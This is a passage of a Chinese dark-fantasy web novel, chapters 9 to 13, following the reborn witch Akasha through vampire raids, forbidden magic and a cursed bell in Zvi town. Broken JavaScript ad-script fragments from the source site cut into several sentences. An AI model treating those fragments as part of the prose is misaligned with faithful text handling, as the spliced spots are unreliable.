咔擦,树枝被踩断的声音,里德的兽耳忽然竖起,两人朝石碑后看去,随后对视了一眼。 “kipuka”里德的手伸向地面,念动咒语。 一股岩浆般炙热的气息沿着粗大的藤曼向远处流去,绿色的枝干间透出不甚明显的红光,像跳动的心脏。 石碑后,哗啦一声,一个人影抱着屁股从地上窜起,像只滑稽的蚂蚱。 “救命啊,快逃。” 仿佛一颗石子投入湖中,人们推搡着从墓地里跑出来,脸上的表情比见了鬼还恐慌。 一阵风袭过,只剩两人凌乱。 里德随手拽住了一个矮人,“你们在躲什么?” 矮人吓得鼻涕眼泪流了满脸,全身哆哆嗦嗦发着抖,“别....别带走 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我的灵魂。” 继续逼问也只是重复,里德有些嫌弃地松开了矮人的衣领,后者则是连滚带爬地跑走了。 不一会儿,远处传来翅膀扇动的声音,黑压压一片,蝙蝠群掠过头顶,墓地间响起说话声。 “瓦乎尔人居然敢骗我们,一群低贱的东西。” “不知道自己活到现在是靠谁吗?” “还不如全变成血奴算了”说话的那黑袍吸血鬼烦躁地踢了一脚石碑,恨恨地说道。 “快找人吧,要是今天凑不够,那个疯子,拿谁顶上就不一定了。” 几个使徒没再说话,一眨眼消失了。 里德解除了隐蔽的咒术,从树底下走出来。 “离开兹维镇。” “我之前骗了你,总之,这里没有你想要找的东西。”他始终背对着阿卡莎,没有回头。 两分钟过去了,除了乌鸦从头顶飞过的嘎嘎声,没有任何回应。 “你听到了吗,米勒?”里德转过身来,树影下空无一物。 “你是谁?一个红魔怎么在这。”黑袍使徒揪起女孩的衣领,语气不善地质问道。 阿卡莎本想悄悄跟着,虽然身上有瑟洛的咒术,但她也知道不能与血族过多接触的道理。没想到被之前那惊吓过度的矮人认了出来,见到她便喊“使者大人,放过我吧。” “使者大人,这是在叫谁啊?”哈伦掐住阿卡莎的下巴,使力往上抬。 “哟,这么漂亮的红魔,有主了没?”那人摩挲着阿卡莎脖子上缠绕的绷带,舔了舔尖牙。 她本就小心翼翼踩着树影跟在最后,却碰上了个落单的使者。阿卡莎早该知道的,重生这件事花光了她所有的气运,跟上去必定会出事。 这不,什么也没发现呢,走两步便是一个火坑。 失去了魔法,否决了她之前解决问题的大部分办法,那些下意识冒上来的咒语,现在就像让没有尖牙的人类吸血一样无用。 曾经赖以生存的技能成为了说出口的无用空气,只能试图用红魔的蛮力挣脱。 希望每个女巫,以后在测试中再多加一项,基础近身肉搏! 9. 约定 一切都在向不可控的方向发展了,阿卡莎回过神来,眼前只剩下一具尸体。 不论是红魔还是使徒,吸血鬼这种东西,木桩刺中心脏,就变成灰了。所以,哪来的木桩? 事情戏剧化地进行着,从哈伦瞪大双眼说出“你是.....”这两个字后,可能等上千年也不会有后文了,因为下一秒,他便僵直着身体倒下,躯体上剩个血洞,以肉眼可见的速度干枯,变成了灰。 埃恩?不对,埃恩是个威风的女骑士,双胞胎哥哥? 他不说话,眼睛像蒙尘的珍珠,灰扑扑的,手上也没有什么木桩,这是个幽灵般的人。 阿卡莎没来得及仔细看,那堆灰烬上何时落着串项链,木头做的外壳,里面不是空心的。有颗橙黄色的宝石,摇起来还有些响声。哈伦大概是只正宗的吸血鬼,不是什么混血,能力又低,所以这项链,银器不行,必须是别的,比如说木头。 那个幽灵消失了,从身体开始,逐渐隐去,四周黑洞洞的,只剩下五官,诡异地有些恐怖。 不,不是恐怖,好似是悲伤。 清晰的破裂声传来,宝石也化为齑粉,簌簌地从木头外壳的空隙中落下。 阿卡莎拿布包了那项链,连同一些碎掉的宝石末,放进了口袋。 好像是那幽灵救她一命,又好像是那碎掉的宝石。 兹维镇上有口大钟,只有族长能敲。那钟不知道什么时候出现的,立在镇中心,黑沉沉的,也像个幽灵。 钟响的时候,阿卡莎正追踪先前那群人的足迹,这钟声让她止住脚步,脑袋像是被人用针细细地扎着,发麻地疼。此刻她并不知道,口袋里那些宝石碎末正闪着微光,那之后,彻底消失,只剩个空木头壳子。 街上原本撕心裂肺的惨叫声也消失不见,世界好像被人按下暂停键,一时间寂静无声。 今夜,还是没有一个人,跑出兹维镇。 “米勒,米勒?” 阿卡莎迷迷糊糊感觉有人在拍她的胳膊,还喊着那牧羊女的名字。 “为什么要擅自跑走,要是出了什么事,我们怎么办?”里德一双金色的瞳孔中浸满了担忧。 “这里很危险,跟我走。”阿卡莎没来得及反应,便被人从地上拉起。 阿卡莎该怎么解释。 她现在身上绑着至少两条命,阿尔曼德的血契,和狼人的生命契约,灵魂又卖给了瑟洛。 所以尽管只是个弱小的红魔,目前为止,她也有可以拿出来保命的底牌,不会妨碍里德。 其实她也说不准,假如真到了那一步,面对的又是怎样的困境,但她好不容易才嗅到了一丝关于真相的香气,重生以来的变数太多,她想在这里赌上一把。 “现在到哪里都不安全了,如果为数不多的幸存下来的种族都还深陷黑暗,那现在所谓的光明,究竟是什么?”阿卡莎停下了脚步。 “我不走,我们还能去哪里?又怎么找到金币?”她回过神来,用力想挣开。 一直快步往前走的里德沉默着,没有回头。他猛地停下来,回身加重了手上的力道,迫使阿卡莎看向他“她死之后,我侥幸活了下来。那道门半开之后,我回到了图克穆拉(狼人的故乡)。”话到这里顿住了,大概是,发生在黑暗时代的往事总是叫人不敢回忆。 “那不是我们能够想象的力量,那是压倒性的,像无法抵御的天灾。首领,年轻力壮的族民,甚至是幼崽,三天三夜的哀嚎响彻了月亮山谷。不知道逃出去的有多少,也可能,最后只剩我一个。”少年闭了闭眼,额间冒出青筋,呼吸也不自觉地急促。 “你不走?到时候兹维镇要是出事了,我根本救不了你。”眼前好像闪过很多东西,又被强行压在了心底。最后的一句话像是忍无可忍的爆发。 阿卡莎有些被那眼神惊住了,愤怒,浮在浓郁的悲痛之中。 里德看着她,看着她瞳孔中的他自己。 “整个拉普塔小镇,你的故乡,现在就是一片死气沉沉的焦土。你好不容易死里逃生,为什么现在又要想着送死?生命在你看来就这么...”看着女孩皱眉隐忍的样子,里德才发觉自己正用力地攥着阿卡莎的手腕,不自觉间一点点加重的力度,将那白得发冷的手臂捏红了一圈。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “我.....”里德有些慌乱地松开了手。 “对不起。”话还没说出口就被打断,里德愣了愣。 阿卡莎低垂着头,她觉得自己和先前不太一样了,总有莫名的情绪在身体里翻涌。 “我可以走,自己一个人,离开兹维镇。”她说。 “你不用担心,我会好好活着,三百年后,我会在兹维镇等你。” 里德望着那双有些偏执的眼睛,半晌后,扶额叹气。“好,我答应你。” “然后呢?” “现在过了多久了?” “两千多年吧....”说话的那人半阖着眼,漂亮的肌肉上落着深深浅浅的陈年旧疤。 三天前,路普西作为奴隶被卖到了弥斯克,它被人推搡着拉上斗兽台,浓烈的血腥味一瞬间扑鼻而来,本就多日挨饿的矮人,胃里止不住地翻涌起来。在昏倒之前,路普西依稀听见对面黑洞洞的铁栏里,传来野兽的嘶吼声。 它没想过自己还有看见蓝天的那一日,救它的是一只吸血鬼,看不出具体的等级。 暗红色的短发,瞳孔也是红色的,脖子上永远缠着绷带,周身气息凌厉,像一朵黑夜里盛放的红莲。 从一开始的害怕警惕到逐渐卸下心防,路普西认为,他们现在应该算是朋友了,尽管它至今对这个救命恩人一无所知。 女人偶尔会说起一个故事,没头没尾的。除此之外,什么也不肯回答。 “那个叫做莎温的女孩,最后去赴约了吗?”矮人问。 回应它的依旧是沉默,这让人不禁有些泄气。 “狼人的生命契约,如果有一方的气息极其微弱,联结就会断开,双方不能再感知到彼此的存在了。”她看着窗外,自顾自地说道。 每当夜幕降临,那人就会离开了。隔天回来,身上偶尔会添些新伤,但一般是浑身染血的模样居多。 于是,在结束对话后的夜晚,路普西像往常一样,站在窗边挥手道别。 这是它最后一次见到那个神秘的女人。 一袋金币和一份撕毁的奴隶契约,路普西自由了。 10. 百年之约 兹维镇又入冬了,前去避难的人们比春天还要多。 泛黄的通缉令被风吹得越来越皱,最后飘落在地上。有人伸手拾起,看了一眼,然后点燃。火光在寒风中也不减炽烈,很快,零零散散的火星落在雪地上,化出几个洞来。 借着最后一点火光,那人抽出根烟来,查布卡纸卷着烟草,精致的被夹在指尖。女人身姿修长了许多,眉眼舒展,像长在荒野的乌木科,与寻常植被来说,带着些侵略的野性。阿卡莎懒懒地靠在街头的墙边,她嘴里吐不出活人般的热气,只有烟雾丝丝缕缕地缠绕在周围。 不知何时起,她感受不到里德的踪迹了,在他彻底失约以前,阿卡莎以为那是她自己的问题。 她确实在弥斯克的斗兽场上,有过无数次濒死的体验。 这百年间,那些挣扎着等到天亮,心脏剧烈跳动的时刻,她逐渐想到一些之前从未注意到的东西。 万物在诞生的时候,会怀疑自己的存在吗? 在她的记忆里,她应该热爱家乡,爱养育她的父亲和邻居,可外出游历将近千年时光,甚至到重生后的现在,那些被她遗忘的家人,过得怎么样,她好像一点也不在乎。 割裂的记忆段像个令人眩晕的怪圈,我,不对,“阿卡莎”,究竟是个什么样的人? 说实话,现在的她,更觉得自己是一个孤儿。甚至和三百年前那个自己,也无法感同身受。 要说什么时代成长的最快,清醒的最快,就是当下这有如极夜的时代。 世界变成了一个腐烂的苹果,善良的,容易心软的人们泡在这种脓水里,只会窒息,然后死亡。 人们被无数次打趴了,热血都被抽干了,灵魂便会散发出绝望的醇香,那便是恶魔收获的时刻了。 为了活下去,什么脏东西都要咽进肚子里。这是黑暗时代的生存法则,也是重生以来,阿卡莎体会到的全部。 如果说起三百年前那些过往,她还能感叹一下自己的幸运。当然,她现在也充分理解了里德的失控,那些过去的回忆以及正在经历的,对一个来自过去的人来说,不可能感同身受。 距离约定时间过去了一周,里德也没有出现。 这三百年,过得比以往任何时候都久, 圣烛节早就过了,但因为灵魂残缺不全,瑟洛的契约作废。圣烛节是属于女巫的节日,真是好运的一天,自然之母特修蕾拉,感恩您。 好坏这种东西,真是不知道什么时候就对调身份了。 不过身上的隐匿咒术失效,是个麻烦,每天都有吸血鬼在找她。 为了隐藏行踪,阿卡莎倒是爽快地出卖了正义,使用了和亡灵相关的禁术,现在为止,自然之力衰竭的现在,禁术,没什么门槛,只要承受一些代价,就能很好地起到作用。 比起之前那些励志人生,古老邪恶的东西倒是更为深刻地留在了脑海里,不用的话,实在是可惜。 她不再无动于衷,哀叹每天被厄运裹挟的生活,原来只要比那些追着她不放的东西疯狂一点,就可以获得自由。 活的山羊扔进火堆里,必定会生出地狱之物。献祭生命才能真正的得到生命。 从手心开始延伸的黑红色的脉络,如藤蔓般蜿蜒而上,像部落的原始刺青,隐入黑色的斗篷之下。唉,总之,要瞒过一个亡灵法师,一个高等级的吸血鬼,一般的禁术不行。 丁零,泉水般轻快的声音在身后响起,一只手推开木门,风从街口吹过来,从门缝里溜进屋里,壁橱边的相框被吹得摇摇晃晃,磕托磕托敲着墙,有人伸手按住了木框。 里头的照片已经褪色了,看起来似乎是张老旧的大合照,人影随着风来回荡漾着,望久了,好像想起来些什么,再定睛看时,那人转过身来,枯黄树叶般的头发凌乱着,脸上没什么表情,木偶似的睁着眼。相框被摆正了,上面只有一个人。 “欢迎光临。” “要买珠宝吗,客人,请随便看看吧。”那人说。 阿卡莎关上门,外面只剩下呜呜的风声,听起来颇有些无助。 露忒街所有的珠宝店里,这是尽头那家。她盯着玻璃橱窗里,那些静静地躺在胡桃木盒子里的漂亮玩意儿,上面蒙着层细细的灰尘。 “族中的勇士,由他们的亲人爱人,用魔力将其亲手铸成了宝石。献祭灵魂带来的能力不同于以往的普通首饰,那是接近本源的力量。”人们是这么说的。 这座宝石之城已经成为坟墓。 “您是安达利尔小姐,是吗?”阿卡莎问。 那人抬起头来,迷茫飘忽地看向不远处,愣了几秒。 “哦,安达利尔,是的客人,我是安达利尔。” 整个兹维镇变成了一座巨大的迷宫,外面的人进去后消失了,里面的人出不来,大家都在迷路。 那是一张和记忆中完全不同的脸,不是时间的流逝造成的衰老什么的,单纯的,就是两个人。 阿卡莎感觉有些怪异,说过的话,体会到的感觉,似曾相识。 尤其是她伸手拿起一串项链时,这种感觉更加强烈。 “等等,客人,那是非卖品……” 像幽静森林里忽然响起的狂吠,阿卡莎猛地转头,这一瞬间,仿佛曾经有无数次转头重合到了一起。 接下来,安达利尔会冲过来夺下那串项链,阿卡莎下意识往后退了两步,那串捏在手里的珠宝,正隐隐散发着光芒。 完全相同的动作,让人心惊。 她要,她应该想想,怎么打破再次的重复。宝石上的光辉闪烁着,黑红色的伤疤好像被照亮,流淌在雪一样冷的肌肤上。 预感和现实几乎是同时到来,禁术生效的刺痛忽然袭来,整条胳膊刮骨似的疼痛,那只手麻木了,知觉也消失。 项链即将落地的瞬间,女人倒吸口气,全身止不住地颤抖,她跪在地上,还在,右手接住了那串珠子。 同一时刻,外面响起钟声,一下,两下,三下。 她到底在兹维镇呆了多久,她记起每一次见到“安达利尔”,有的是矮人,有的是年轻的精灵,它们用同样的眼神看着她,说着固定的台词。 只是这次,那木偶般迟钝的样子听到钟声后,彻底碎裂,变成无比的惊恐,它一定是看到了深渊。 像愤怒的野兽,濒死挣扎时,眼神痛苦。 “对不起,啊啊啊啊,不,不…….” 像是迟到了太久,浓郁的浊泪挂在眼下,半晌未能滴落。 今日的钟声与以往不同 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,三次,门外风声大作。 一切如同三百年前那样,整个镇上响起哀嚎,像是恶魔的祭典。 蝙蝠成群的出没在街道上空,雪地里全是染血的脚印。 在吸血鬼们破门而入之前,阿卡莎捂住了“安达利尔”依旧喋喋不休的嘴。 “这里的精灵呢?” “找。”瘦长如鬼影的使徒说。 阿卡莎死死地按着安达利尔,阁楼死角处有一大片浓重的阴影,在这里可以最大程度地发挥她的隐匿能力。 透过细小门缝,她注意到,那瘦长影子的主人留着整齐的刘海,分毫没有长短不一的情况,标准的像一把卡尺,薄薄地贴在额头上。除了克鲁普托,似乎没有哪个吸血鬼有这样打扮的耐心了。 除了那些寻找安达利尔的吸血鬼,剩下的则是在克鲁普托的命令下,将那些作为非卖品的珠宝装进了储物袋。 踩在木板阶梯上发出的吱吱声越来越近,来阁楼的路只有一处,不用担心身后。阿卡莎将注意力分了些回来,这才发觉右手上早已濡湿一片,她皱了皱眉,松开些手上的力道。 “我会施咒让你暂时藏在这里,如果想要对你所知道的真相负责,就不要乱动。” 阿卡莎的声音贴着精灵的耳朵,像静悄悄的夜雪似的飘落。 那串漂亮的项链被塞在了安达利尔的怀里,不知是不是精灵的错觉,那宝石上染着温热的气息。吸血鬼这种死物,身上是没有温度的。 阿卡莎的速度很快,像一道生出灵魂的影子。吸血鬼们的夜视能力很好,走在昏暗的窄道上也不需要点灯。 为首的使徒只觉眼前什么东西一晃而过,冰冷的物什便贴在了喉间,那人丝毫不带一点犹豫,银匕首便贯穿了脖颈。在向后倒去的刹那,他只望见一对红色的瞳仁,如宝石的光辉般一晃而过。 黑色的液体从伤口喷涌而出,溅在脸上像化开的雪水。剩下的几个使徒慌乱地退后,脚步声乱成了一团。 可怜的诺瓦今早刚通过测试,成为贵族的手下。他是个嗅觉敏锐的年轻使徒,于是下意识地顺着血腥味抬起头来。 蝙蝠喜欢倒挂在天花板上睡觉,阿卡莎不睡觉,她挂在阁楼露出的一角,露出斗篷下惨白的脸,然后,挤出一个友善的笑容。 “找我吗?” 诺瓦咽了下口水,前辈的头颅还躺在脚下,他憋了口气,心里生出几分傲气被挫的愤怒来。 “别杀她,我们还缺’戒指‘。” 诺瓦身后的那人压住暴动的同伴,冷冷地看了眼阿卡莎,像是在看什么物件。 使徒的翅膀很柔软,攻击的力量却不小。一旦出了窄道,他们的发挥空间更大。 阿卡莎瞥了眼身后,吸血鬼族群里,最不缺工具。 克鲁普托应该早闻到同类的血味了,但他无所谓手下的死活。像贵族也无所谓他们的死活一样,这是规则。总会有人为了走上权利的阶梯前仆后继。 少了人打扰,阿卡莎自然是乐意接受的。 被堵在窄道里的使徒们,倒是生出来几分团结之心来。 身后的肉翅被收起,像一把锋利的尖刀似的,透明的映着血丝的薄膜被收起,堆在骨刺间,一鼓一鼓。 怪可爱的。 11. 珠宝店惊魂夜 阿卡莎的左手剧烈地发痛,除去被寻找的可能,就是,血契的另一方在附近。 体内的力量被急剧地消耗,眼前不自觉眩晕,她低头,手心除了反噬的伤痕,什么也没有,像一片被污染的土地,再也无法生出火种来。 那样纯净美丽的焰色,与过去重合着落在眼底,染成耀眼的红色。 站在最前面的诺瓦展开翅膀,速度极快地动作,骨刺定在墙上,借力向前方踢去。阿卡莎下意识地抽身,斗篷一角被闪避时带起的风吹起,黑暗中丢来一把短刃,将那角刚好刺中。 一阵撕裂的声音过后,斗篷落地。大片肌肤接触到了空气,连同那些纹身般缠绕在身上的禁忌咒文。反噬的痛苦加上长时间触碰银器,喉间泛起腥甜的气息,阿卡莎咽下上涌的液体,捏紧了匕首。 看清那人的模样,诺瓦愣了几秒。复杂的从未见过的咒文爬满了半个身子。 还有,使用纯银制武器的,吸血鬼?不,如果真是只吸血鬼,那这人完全就是个疯子。 纯银的威力很大,月光的颜色容易被银反射,刺痛着他们的双眼,寻常吸血鬼连触碰都做不到。纯银能直接阻断他们的复生能力,被纯银的匕首砍下头颅,便再也见不到月亮了。 这也是一开始让他感到畏惧的理由。 阿卡莎贴着墙壁,身影如一团雾似的消散,淹没在影子中。诺瓦警惕地注意着四周,身后却忽地传来一阵细小的风,“噗呲——”,他似有所感地回头,飞溅的血液落在脸上,左眼底被血色填满,变得模糊不清。 那人捂着脖子倒下了,诺瓦捂住眼睛,刚稳住脚步,却感到背上一重,整个人晃了晃。 “Kuumba。” 他反应很快,咒语一出,呼啦啦飞来一小群蝙蝠,眼睛在黑夜中闪烁着红光,凶恶地露出尖利的獠牙。 阿卡莎蹲在诺瓦背后的翅骨上,“pilipala” 蠢蠢欲动的翅膀被压制,诺瓦只听到身后响起一道冷冽的女声,念着什么他听不懂的咒语。 很快,他感到脑海中的联结似乎断了,不安感瞬间涌上心头。 蝙蝠群被定在半空,随后随着一个响指炸开,血雾似烟花般飘散着,那团红色的雪一样的死物中,隐隐闪动着什么,液体,然后是翅膀,无数的红蝶从中破蛹而出。 女人的脸被那光照亮,好像坟地里燃起萤火,一时间生死交融。 虽然不想承认,但那是诺瓦死之前,看到的最美的东西。 银刀扎进背后的翅骨,几乎像是活生生剜进了他的心脏里,同时,在他看不见的地方,阿卡莎口中吐出血来,随着手上毫不留情的动作,尽数淌在诺瓦背后。 冰冷的液体搅在一起,直到诺瓦的身体逐渐变成风化的石膏一般,皮肤变成灰色,龟裂遍布全身。 因为不想跟克鲁普托碰上,她没有过多停留。匆匆赶到阁楼,墙角的阴影里,除了一块带血的宝石之外,空无一物。 宝石里带着些精灵的气息,难怪她没有发觉。 “看看都死透了吗,还剩一口气的都带走。”楼下传来克鲁普托的声音。 “那个袭击的人呢?”几个使徒面面相觑。 “不用管,你们要是去想送死,不如现在把灵魂交给主人。”克鲁普托扶了扶金丝眼镜,眼神却透过幽深的长廊,向上飘去。 禁术的维持要消耗大量的能量,她拒绝了那份成为贵族新娘得来的力量,甘愿承受反噬的痛苦将其剥离。 其实这件事的主人公阿尔曼德倒是并不在意,因为自从他发现无法找到血契新娘的踪迹后,他们的痛感不再相连。受不到契约的影响正和他意,找人什么的,不关他的事。 阿卡莎其实在很早之前发现了这点,这不是第一次,阿尔曼德对她睁一只眼闭一只眼。 阿尔曼德,全名阿尔曼德·梵克,贵族家的少爷,曾经有过三位新娘,但几乎都活不过第一个百年。有人说是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 因为诅咒,有人说梵克家族有吃人的旧俗,总之关于那三位的故事,都是些血淋淋的传说。 第四位新娘的故事,应该还在继续。 吸血鬼真是种滑稽的怪物,血液,吐出来又喝进去。阿卡莎从袋子里拿出一袋血包,边喝边看着克鲁普托的手下将那个脖子被划开的吸血鬼拖走,那人脸上的表情无比惊恐,却因为喉咙被划破只能发出些微弱的嘶吼的声音。 珠宝店里恢复了寂静,尸体早就化成白灰,风吹进来便散在了角落。 先前的斗篷被血液濡湿,阿卡莎撕下还算干净的一角,思索了片刻,最后蒙住下半张脸。 恢复些力气,阿卡莎倒出袋子里的矿晶,和一些奇怪的草木石头。魔法是让自然之物融合反应的快捷产物,那么,在没有魔法的情况下,高端的追踪咒语只需要最朴素的“烹饪”方法。 摩若诺拉草被矿石堆散发的能量逐渐点燃,紫色的烟雾愈发浓厚,像美丽的水蛇般,扭动着身体游向远处。 欧式花纹的衬衣,漂亮的领口向下延伸,隐约可见一些腹部线条。贵族慢条斯理地整理着袖口,十字架形状的挂坠落在胸前,随着动作轻轻摆动。 阿尔曼德原本不用亲自来收取灵魂,只是日复一日,他觉得自己要做些什么来缓解焦虑的心情。 当然,他不能真的表现出焦虑,对他来说,这是太暧昧的说法。所以,阿尔曼德的手下们只觉得主人最近愈发残忍嗜血了,不仅每天有无数的同伴被取走灵魂,这个月来,他们还制造了六次大规模疫病。 问题是,活下来的红魔成为少数后,使徒的数量也不断下降。 “主人,这些是全部了。”克鲁普托微微颔首,向贵族行礼。 “沃克劳勒人呢?”阿尔曼德说,他摸着胸前的十字架,没有分给向他行礼的忠仆一个眼神。 他生气了,克鲁普托得出结论。 “在钟那里。”他淡淡地回答道,像只听话的巫偶。 12. 贵族也烦恼 沃克有些厌倦了,尽管他对这一切期待已久。 人们总是热血上头,一点都不体谅他们维持秩序的良苦用心。 “你为什么要这么做?”安达利尔还是没忍住,主动将自己暴露在沃克面前。 为什么,为什么,如果这些执着于问他为什么的人知道说出口的话就是自己的遗言,还会继续问他这种没意义的问题吗? “利奇亚,我从前就很喜欢你的眼睛。比那些上供给贵族的矿石还要美丽。”沃克从容不迫地露出笑容。 而可怜的精灵不知道自己迷迷瞪瞪过了多久,久到故人站在眼前,都变成了心惊胆战的打量。 利奇亚没法把这当作什么自然的事,他想起自己亲手将无数族人的灵魂剥离,制成了宝石。他想起自己痴迷地咏唱着献祭的亡灵之调,跪在邪神的罩袍边颤抖着亲吻,从此遗忘旧日信仰的模样。 他是邪恶的刽子手,是无名之人。 “他们人呢?不不,珠宝,那些宝石哪去了?”他痛苦地喊着,感觉全身的血液都在翻涌着。 “从前在戈瑞亚的时候,安达利尔最喜欢你了,不是吗?你不知道,我们都羡慕你。”沃克瞪着眼睛,直直地看向利奇亚,完全没有要回答他的问题的意思。 “你这个骗子,叛徒,你不配提起这个名字。”利奇亚几乎是嘶吼着,带着近乎绝望的愤怒。 沃克的表情有了一丝松动,他的眉头抽动着,最后露出诡异的笑容来。 “安达利尔,我的安达利尔,她现在完全属于我了,哦是的,是的,她的能力独一无二,现在是我的了……” “疯子,你完全疯了,你应该下地狱!”利奇亚粗鲁地擦去脸颊上的泪水,他要杀了沃克,他必须要杀了他。 身上还有矿石,可以催动他的力量。当攥取灵魂的咒术一出口,代表牵引的光辉接触到沃克的瞬间,利奇亚却看到无数的灵魂,一张张痛苦的脸从黑暗中冒出,发出凄厉的叫声,几乎是刹那间,利奇亚的术法被打断,整个人跌坐在地。 感受到牵引之力,沃克突然安静了下来,随后笑声一点点从喉间溢出。“利奇亚,别跟我开这样的玩笑。” 沃克戒指上的宝石发着幽暗的光芒,同时,利奇亚觉得浑身的力气都被瞬间抽离。 天要亮了,远方的一角逐渐变白,雪下了一夜,四周都白茫茫的,叫人分不清天地。 利奇亚倒在地上,嘴里似乎仍在呢喃些什么,那双漂亮的紫色眼睛一点点黯淡下去,像条绝望而干枯的河流。 为自己所知道的真相负责,他想起那个把他藏在阁楼的人说的话,在生命的最后。 蹲在树干后的阿卡莎打了个喷嚏,晃了晃脑袋,把头顶的雪花甩落在地上。从利奇亚像只蠢松鼠似的冲出去时,她就蹲在这,一直到雪积在头顶变成小堆。 敲钟日,总会有一些意想不到的事情发生,像诅咒一样挥之不去。 被施了血咒的矿石接二连三地砸在雪地里,沃克猛地抬起头,像鹰一样昂起脖子。 “谁,是谁?滚出来!” 摄魂的术法被打断,利奇亚躺在地上一动不动,像片枯败的落叶。一阵风吹来,又被卷到空中,心脏跳动起来,声音越来越大。 跳动的鼓点重新谱写生命的欢歌。 哦,神呐,利奇亚从雪地上坐起,意识,我还有意识。 沃克被一股熟悉的气息吸引了,堕落的味道,萦绕在那个蒙面人身上。 “喂你,去戈瑞亚救人。” 阿卡莎将那串项链塞进利奇亚怀里。 感受到切实的触感,利奇亚睁着眼睛,似乎还没反应过来。 手碰到项链的那刻,他才彻底活过来。那人的眼睛,有种让人冷静下来的魔力。 利奇亚点点头,然后施咒,随着光圈消失在原地。 “你放走了我的宝石,是对自己足够自信吗?”看着利奇亚逃脱,沃克也不着急。 这人一副优雅矜贵的作派,气质丝毫不输贵族,完全看不出之前落魄孤儿的影子。 酒红色的衬衫一丝不苟,领口处系着精致的白色褶边,黑色真丝手套贴着修长的手指,握着一根镶着宝石的金丝木手杖。 “别废话。”自信这个词,用在他自己身上才合适吧,阿卡莎上下扫了眼沃克,做出迎战的姿态。 沃克脸上的笑意加深,弯下腰在靠近阿卡莎左臂处嗅了嗅。 “塔克塔利斯(死神的名字)”他发出一声喟叹。 阿卡莎的弯刀抵在了沃克喉间,脖子上的契印在发痛,有人在向这边来。 沃克直起身子,一脸无辜地举起双手。 “放轻松,小姐。” 她打不过沃克,直觉告诉她,这人很危险,可能是自身使用过不少禁术的原因,这种诡异的气息很明显。很明显,沃克也感受到了。 处于弱势就是如此,即使对方什么也不做,光是走近,便叫人痛苦不堪。这是阿卡莎第一次感受到这么强烈的反噬, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 像刀刮开皮肉,反复地凌迟。 “沃克·劳勒,好久不见。”那人出现在身边时,连落在脸上的雪也更冰了几分。 阿尔曼德个子很高,比两人都高,离的近了,投下一小片阴影。 “需要帮忙吗?”他看着沃克。 蒙在脸上的暗色布料,因濡湿而变深的颜色逐渐扩散着,最后顺着下巴流向颈间,滴滴答答落在地上,在厚厚的积雪上灼出几个洞来。 其实人只要尝过一次濒死的味道,便容易沉迷其中。像是闪电击中心脏,像狂暴地劈开天空的劲风般,让人灵魂震颤。 只有无限靠近死亡,才能找到生的方向,就像黑夜褪去白昼降临一样自然。 阿卡莎扯下几乎湿透的布条,黑红色的液体从鼻腔喷涌而出,嘴角抽动着。胸腔颤动,破风箱似的笑声依稀传出。 “你,别管闲事。”她抬起头,将眼神对准阿尔曼德。 银色弯刀柄突然被牢牢抓住,发力朝沃克袭去。这让他有些躲闪不及,脖子上渗出细细密密的血珠。 “我不关心你们瓦乎尔族的存亡,我只要‘安达利尔‘。” 阿卡莎稳住身形,血大概是止住了,整个人也变得轻松。 短时间内力量暴涨,意识到这一点,沃克周身的气息也变了。 等等,阿尔曼德那家伙呢,虽然他讨厌这个整天袒胸露乳的傲慢贵族,但好歹做了近千年的盟友,以那位的性格,没等他自己出手,那女人就头颅落地了。 阿卡莎出刀速度很快,并且那刀上下了血咒,攻击时凌厉且疯狂。四处躲避的沃克为了取走自己想要的灵魂,正在尝试寻找对方精神力量上的破绽。 于是在这个过程中,沃克无意间看到了阿尔曼德,他垂头站在原地,胸口的十字架上似乎还留着些留着血污,左臂还微微颤抖。 树累了,躺在地上想休息,却被砍成了柴;太阳和月亮吵架了一在云后面,谁都不肯出来。神一怒之下打算拿人类开涮,于是被诅咒的人成了世界上第一只吸血鬼。 阿尔曼德咬着牙,额上冒出了青筋,被宠爱长大的孩子,只要感觉到痛,就认为是别人的错。 所以,总之,他正被无尽的愤怒支配着。 这件事全是摩尔索斯的错,老东西一把年纪了,满脑子只有结婚。 不不,是那个新娘的错,到底有几条命,居然敢让他承受这样的痛苦。 另一边的两人正打的火热,根本没人关心阿尔曼德怎么了。 13. 第四任新娘 “你拿不走我的灵魂,别白费力气了。”时间拖的差不多了,她不想再给自己找麻烦。 兹维镇像一张巨大的蛛网,所有异动都被猎手沃克掌握。他们现在所处的克勒广场边有一座教堂,里面那口钟是用特定的矿石制成,敲响后能产生奇怪的磁场,影响人的意识。 实际上,她不知道安达利尔的灵魂具备的特殊能力,也不清楚所谓出口在哪,所以,利奇亚才应该去做好那些除了送死之外的事情。 少了所谓莫名其妙的直觉,这次她完全是抱着和某人的约定才来的兹维镇。要知道,那些机械的记忆已经没法再让她共情,像过期的船票,在脑海中逐渐泛黄褪色。 反正没人规定“阿卡莎”这个名字下面一定要有一个高尚的灵魂,她可以拒绝,可以逃避,可以随时随地改变想法,对她来说,这是比魔法奇妙的东西。 “小姐,想要的东西,都是都是靠自己的力量争取来的,相信您比我清楚这个道理。”沃克眯着眼睛,优雅地挥动手杖。 小姐,您,这些东西让阿卡莎的手上冒出一小片鸡皮疙瘩。 “尽管来试。”她亮出变得锋利的指甲,一点点划开脖子上缠绕的绷带。 有时候,人生就四个字——能屈能伸。 血契的印记在皮肤上闪着光,像浮出水面的鱼。她现在正和阿尔曼德共享心跳,实际上从解开禁术的那一刻起,便有种奇怪的感觉,和以往都不同,仿佛有人夺走了你一半的控制权,不自觉地生出些可笑的情感来。 比如现在,身后传来的压迫感愈发强烈,叫嚣着让她臣服。 “Thefusedbloodoflifeflowinginlove,mine…..radiantcrescenttomyendlessnight,yoursoulwillguidemetoyou…..kissyourbrightskin,shedyourshell,yourbeautywillbeeternal…..(爱河里流淌着融合的生命之血,你是我无尽黑夜中璀璨的新月,灵魂会指引我走向你……亲吻你皎洁的肌肤,脱去外壳,你的美丽将成永恒……)” 